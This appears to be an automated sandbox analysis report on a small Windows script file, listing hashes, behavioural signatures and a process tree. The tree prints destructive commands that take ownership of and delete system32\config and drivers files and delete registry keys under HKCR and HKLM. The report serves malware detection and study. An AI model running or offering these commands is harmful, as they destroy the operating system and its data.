Analysis

  • max time kernel
    148s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-08-2024 21:41

General

  • Target

    file01.wsf

  • Size

    3KB

  • MD5

    fefe72db31bfdbe4a0ae7f11cb852008

  • SHA1

    a43900d8e5e5c0a6b8af5c7468080dffd88aacbc

  • SHA256

    d5100abb8ddc4b07777387a291bfbf7c27530c8a1457b391bd15ffa441db2c5e

  • SHA512

    a3f8fa70e1266d318e61d779c999657691ab919e46b25b2a9dc06afe627bc66667e1c6d6cc8f33f32ec85638756124e90ab0890b2b7fde5430f82c47aeaf51b0

Score
8/10

Malware Config

Signatures

  • Possible privilege escalation attempt 4 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "copy C:\Users\Admin\AppData\Local\Temp\file01.wsf C:\Users\Admin\AppData\Local\Temp\file01.wsf.vbs && start C:\Users\Admin\AppData\Local\Temp\file01.wsf.vbs"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1408
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file01.wsf.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3920
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:440
        • C:\Windows\system32\takeown.exe
          takeown /f c:\windows\system32\config\*
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3692
        • C:\Windows\system32\icacls.exe
          icacls c:\windows\system32\config\* /grant everyone:(f)
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4136
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4296
        • C:\Windows\system32\takeown.exe
          takeown /f c:\windows\system32\drivers\*
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:3464
        • C:\Windows\system32\icacls.exe
          icacls c:\windows\system32\drivers\* /grant everyone:(f)
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4744
      • C:\Windows\System32\reg.exe
        "C:\Windows\System32\reg.exe" delete HKCR\*.dll
        3⤵
          PID:4824
        • C:\Windows\System32\reg.exe
          "C:\Windows\System32\reg.exe" delete HKCR\*.exe
          3⤵
            PID:3092
          • C:\Windows\System32\reg.exe
            "C:\Windows\System32\reg.exe" delete HKLM\*
            3⤵
            • Modifies registry key
            PID:2388

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\file01.wsf.vbs

        Filesize

        3KB

        MD5

        fefe72db31bfdbe4a0ae7f11cb852008

        SHA1

        a43900d8e5e5c0a6b8af5c7468080dffd88aacbc

        SHA256

        d5100abb8ddc4b07777387a291bfbf7c27530c8a1457b391bd15ffa441db2c5e

        SHA512

        a3f8fa70e1266d318e61d779c999657691ab919e46b25b2a9dc06afe627bc66667e1c6d6cc8f33f32ec85638756124e90ab0890b2b7fde5430f82c47aeaf51b0

      • C:\Users\Admin\Desktop\desktop.vbs

        Filesize

        79B

        MD5

        355d25ae00d82afebe47bffcaa713a40

        SHA1

        c6790a7e5d81ad3d1149974c75947d3b2509f544

        SHA256

        93ac1d1665ee61e357aa40a09b1671be28e8c662d5d7601fb6156f1eafcb018c

        SHA512

        08d5b20fb2d6720c47ff5bc3cbb1ac5f7d8090bb014c13cf2da1c7f8da991ae6b1cf4d8b67aebd7d17077defe5845509dd95963c5d524a1cda79b782e247d4fa